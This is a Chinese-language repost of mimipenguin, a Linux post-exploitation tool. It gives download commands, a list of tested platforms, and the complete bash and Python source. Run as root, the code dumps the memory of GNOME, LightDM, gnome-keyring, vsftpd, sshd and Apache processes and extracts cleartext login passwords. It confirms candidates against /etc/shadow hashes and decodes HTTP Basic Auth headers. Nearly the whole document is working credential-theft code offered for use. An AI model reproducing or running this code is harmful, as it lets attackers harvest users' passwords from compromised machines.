本工具来自:https://github.com/huntergregal/mimipenguin
wget https://raw.githubusercontent.com/huntergregal/mimipenguin/master/mimipenguin.sh wget https://raw.githubusercontent.com/huntergregal/mimipenguin/master/mimipenguin.py
测试成功的平台(需要root权限
):
Kali 4.3.0 (rolling) x64 (gdm3) |
---|
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) |
Ubuntu Desktop 14.04.1 LTS x64 (Gnome Keyring 3.10.1-1ubuntu4.3, LightDM 1.10.6-0ubuntu1) |
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) |
Ubuntu Desktop 16.04.4 LTS x64 (LightDM 1.18.3-0ubuntu1.1) |
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2) |
Archlinux x64 Gnome 3 (Gnome Keyring 3.20) |
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20) |
VSFTPd 3.0.3-8+b1 (Active FTP client connections) |
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency] |
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage) |
#!/bin/bash # Author: Hunter Gregal # Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com # Dumps cleartext credentials from memory #root check if [[ "$EUID" -ne 0 ]]; then echo "Root required - You are dumping memory..." echo "Even mimikatz requires administrator" exit 1 fi #Store results to cleanup later export RESULTS="" # $1 = PID, $2 = output_file, $3 = operating system function dump_pid () { system=$3 pid=$1 output_file=$2 if [[ $system == "kali" ]]; then mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1) else mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1) fi while read -r memrange; do memrange_start=$(echo "$memrange" | cut -d"-" -f 1) memrange_start=$(printf "%u\n" 0x"$memrange_start") memrange_stop=$(echo "$memrange" | cut -d"-" -f 2) memrange_stop=$(printf "%u\n" 0x"$memrange_stop") memrange_size=$((memrange_stop - memrange_start)) dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \ skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1 done <<< "$mem_maps" } # $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE function parse_pass () { #If hash not in dump get shadow hashes if [[ ! "$2" ]]; then SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')" fi #Determine password potential for each word while read -r line; do #If hash in dump, prepare crypt line if [[ "$2" ]]; then #get ctype CTYPE="$(echo "$2" | cut -c-3)" #Escape quotes, backslashes, single quotes to pass into crypt SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') CRYPT="\"$SAFE\", \"$CTYPE$3\"" if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$2" ]]; then #Find which user's password it is (useful if used more than once!) USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)" export RESULTS="$RESULTS$4 $USER:$line \n" fi #Else use shadow hashes elif [[ $SHADOWHASHES ]]; then while read -r thishash; do CTYPE="$(echo "$thishash" | cut -c-3)" SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)" #Escape quotes, backslashes, single quotes to pass into crypt SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\"" if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$thishash" ]]; then #Find which user's password it is (useful if used more than once!) USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)" export RESULTS="$RESULTS$4 $USER:$line\n" fi done <<< "$SHADOWHASHES" #if no hash data - revert to checking probability else patterns=("^_pammodutil.+[0-9]$"\ "^LOGNAME="\ "UTF-8"\ "^splayManager[0-9]$"\ "^gkr_system_authtok$"\ "[0-9]{1,4}:[0-9]{1,4}:"\ "Manager\.Worker"\ "/usr/share"\ "/bin"\ "\.so\.[0-1]$"\ "x86_64"\ "(aoao)"\ "stuv") export RESULTS="$RESULTS[HIGH]$4 $line\n" for pattern in "${patterns[@]}"; do if [[ $line =~ $pattern ]]; then export RESULTS="$RESULTS[LOW]$4 $line\n" fi done fi done <<< "$1" } # end parse_pass #Support Kali if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then SOURCE="[SYSTEM - GNOME]" #get gdm-session-worker [pam/gdm-password] process PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')" #if exists aka someone logged into gnome then extract... if [[ $PID ]];then while read -r pid; do dump_pid "$pid" /tmp/dump "kali" HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" SALT="$(echo "$HASH" | cut -d'$' -f 3)" DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)" DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)" #Remove dupes to speed up processing DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" #cleanup rm -rf "/tmp/dump.${pid}" done <<< "$PID" fi fi #Support gnome-keyring if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then SOURCE="[SYSTEM - GNOME]" #get /usr/bin/gnome-keyring-daemon process PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')" #if exists aka someone logged into gnome then extract... if [[ $PID ]];then while read -r pid; do dump_pid "$pid" /tmp/dump HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" SALT="$(echo "$HASH" | cut -d'$' -f 3)" DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10) DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$') #Remove dupes to speed up processing DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" #cleanup rm -rf "/tmp/dump.${pid}" done <<< "$PID" fi fi #Support LightDM if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then SOURCE="[SYSTEM - LIGHTDM]" PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')" #if exists aka someone logged into lightdm then extract... if [[ $PID ]]; then while read -r pid; do dump_pid "$pid" /tmp/dump HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$') SALT="$(echo "$HASH" | cut -d'$' -f 3)" DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)" #Remove dupes to speed up processing DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" #cleanup rm -rf "/tmp/dump.${pid}" done <<< "$PID" fi fi #Support VSFTPd - Active Users if [[ -e "/etc/vsftpd.conf" ]]; then SOURCE="[SYSTEM - VSFTPD]" #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')" #if exists aka someone logged into FTP then extract... if [[ $PID ]];then while read -r pid; do dump_pid "$pid" /tmp/vsftpd HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" SALT="$(echo "$HASH" | cut -d'$' -f 3)" DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$') #Remove dupes to speed up processing DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" done <<< "$PID" #cleanup rm -rf /tmp/vsftpd* fi fi #Support Apache2 - HTTP BASIC AUTH if [[ -e "/etc/apache2/apache2.conf" ]]; then SOURCE="[HTTP BASIC - APACHE2]" #get all apache workers /usr/sbin/apache2 -k start PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')" #if exists aka apache2 running if [[ "$PID" ]];then #Dump all workers while read -r pid; do gcore -o /tmp/apache "$pid" > /dev/null 2>&1 #without gcore - VERY SLOW! #dump_pid $pid /tmp/apache done <<< "$PID" #Get encoded creds DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)" #for each extracted b64 - decode the cleartext while read -r encoded; do CREDS="$(echo "$encoded" | base64 -d)" if [[ "$CREDS" ]]; then export RESULTS="$RESULTS$SOURCE $CREDS\n" fi done <<< "$DUMP" #cleanup rm -rf /tmp/apache* fi fi #Support sshd - Search active connections for Sudo passwords if [[ -e "/etc/ssh/sshd_config" ]]; then SOURCE="[SYSTEM - SSH]" #get all ssh tty/pts sessions - sshd: user@pts01 PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')" #if exists aka someone logged into SSH then dump if [[ "$PID" ]];then while read -r pid; do dump_pid "$pid" /tmp/sshd HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" SALT="$(echo "$HASH" | cut -d'$' -f 3)" DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+') #Remove dupes to speed up processing DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" done <<< "$PID" #cleanup rm -rf /tmp/sshd.* fi fi #Output results to STDOUT printf "MimiPenguin Results:\n" printf "%b" "$RESULTS" | sort -u unset RESULTS
python:
#!/usr/bin/env python3 # -*- encoding: utf8 -*- # Rewrite of mimipenguin in Python 3. # Original idea from Hunter Gregal (@huntergregal). # Implementation by Yannick Méheut (github.com/the-useless-one) # Copyright © 2017, Yannick Méheut <[email protected]> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from __future__ import print_function import os import platform import re import base64 import binascii import crypt import string def running_as_root(): return os.geteuid() == 0 def get_linux_distribution(): try: return platform.dist()[0].lower() except IndexError: return str() def compute_hash(ctype, salt, password): return crypt.crypt(password, '{}{}'.format(ctype, salt)) def strings(s, min_length=4): strings_result = list() result = str() for c in s: try: c = chr(c) except TypeError: # In Python 2, c is already a chr pass if c in string.printable: result += c else: if len(result) >= min_length: strings_result.append(result) result = str() return strings_result def dump_process(pid): dump_result = bytes() with open('/proc/{}/maps'.format(pid), 'r') as maps_file: for l in maps_file.readlines(): memrange, attributes = l.split(' ')[:2] if attributes.startswith('r'): memrange_start, memrange_stop = [ int(x, 16) for x in memrange.split('-')] memrange_size = memrange_stop - memrange_start with open('/proc/{}/mem'.format(pid), 'rb') as mem_file: try: mem_file.seek(memrange_start) dump_result += mem_file.read(memrange_size) except (OSError, ValueError, IOError, OverflowError): pass return dump_result def find_pid(process_name): pids = list() for pid in os.listdir('/proc'): try: with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file: if process_name in cmdline_file.read().decode(): pids.append(pid) except IOError: continue return pids class PasswordFinder: _hash_re = r'^\$.\$.+$' def __init__(self): self._potential_passwords = list() self._strings_dump = list() self._found_hashes = list() def _dump_target_processes(self): target_pids = list() for target_process in self._target_processes: target_pids += find_pid(target_process) for target_pid in target_pids: self._strings_dump += strings(dump_process(target_pid)) def _find_hash(self): for s in self._strings_dump: if re.match(PasswordFinder._hash_re, s): self._found_hashes.append(s) def _find_potential_passwords(self): for needle in self._needles: needle_indexes = [i for i, s in enumerate(self._strings_dump) if re.search(needle, s)] for needle_index in needle_indexes: self._potential_passwords += self._strings_dump[ needle_index - 10:needle_index + 10] self._potential_passwords = list(set(self._potential_passwords)) def _try_potential_passwords(self): valid_passwords = list() found_hashes = list() pw_hash_to_user = dict() if self._found_hashes: found_hashes = self._found_hashes with open('/etc/shadow', 'r') as f: for l in f.readlines(): user, pw_hash = l.split(':')[:2] if not re.match(PasswordFinder._hash_re, pw_hash): continue found_hashes.append(pw_hash) pw_hash_to_user[pw_hash] = user found_hashes = list(set(found_hashes)) for found_hash in found_hashes: ctype = found_hash[:3] salt = found_hash.split('$')[2] for potential_password in self._potential_passwords: potential_hash = compute_hash(ctype, salt, potential_password) if potential_hash == found_hash: try: valid_passwords.append( (pw_hash_to_user[found_hash], potential_password)) except KeyError: valid_passwords.append( ('<unknown user>', potential_password)) return valid_passwords def dump_passwords(self): self._dump_target_processes() self._find_hash() self._find_potential_passwords() return self._try_potential_passwords() class GdmPasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[SYSTEM - GNOME]' self._target_processes = ['gdm-password'] self._needles = ['^_pammodutil_getpwnam_root_1$', '^gkr_system_authtok$'] class GnomeKeyringPasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[SYSTEM - GNOME]' self._target_processes = ['gnome-keyring-daemon'] self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$'] class LightDmPasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[SYSTEM - LIGHTDM]' self._target_processes = ['lightdm'] self._needles = [r'^_pammodutil_getspnam_'] class VsftpdPasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[SYSTEM - VSFTPD]' self._target_processes = ['vsftpd'] self._needles = [ r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$'] class SshdPasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[SYSTEM - SSH]' self._target_processes = ['sshd:'] self._needles = [r'^sudo.+'] class ApachePasswordFinder(PasswordFinder): def __init__(self): PasswordFinder.__init__(self) self._source_name = '[HTTP BASIC - APACHE2]' self._target_processes = ['apache2'] self._needles = [r'^Authorization: Basic.+'] def _try_potential_passwords(self): valid_passwords = list() for potential_password in self._potential_passwords: try: potential_password = base64.b64decode(potential_password) except binascii.Error: continue else: try: user, password = potential_password.split(':', maxsplit=1) valid_passwords.append((user, password)) except IndexError: continue return valid_passwords def dump_passwords(self): self._dump_target_processes() self._find_potential_passwords() return self._try_potential_passwords() def main(): if not running_as_root(): raise RuntimeError('mimipenguin should be ran as root') password_finders = list() if find_pid('gdm-password'): password_finders.append(GdmPasswordFinder()) if find_pid('gnome-keyring-daemon'): password_finders.append(GnomeKeyringPasswordFinder()) if find_pid('lightdm'): password_finders.append(LightDmPasswordFinder()) if os.path.isfile('/etc/vsftpd.conf'): password_finders.append(VsftpdPasswordFinder()) if os.path.isfile('/etc/ssh/sshd_config'): password_finders.append(SshdPasswordFinder()) if os.path.isfile('/etc/apache2/apache2.conf'): password_finders.append(ApachePasswordFinder()) for password_finder in password_finders: for valid_passwords in password_finder.dump_passwords(): print('{}\t{}:{}'.format(password_finder._source_name, valid_passwords[0], valid_passwords[1])) if __name__ == '__main__': main()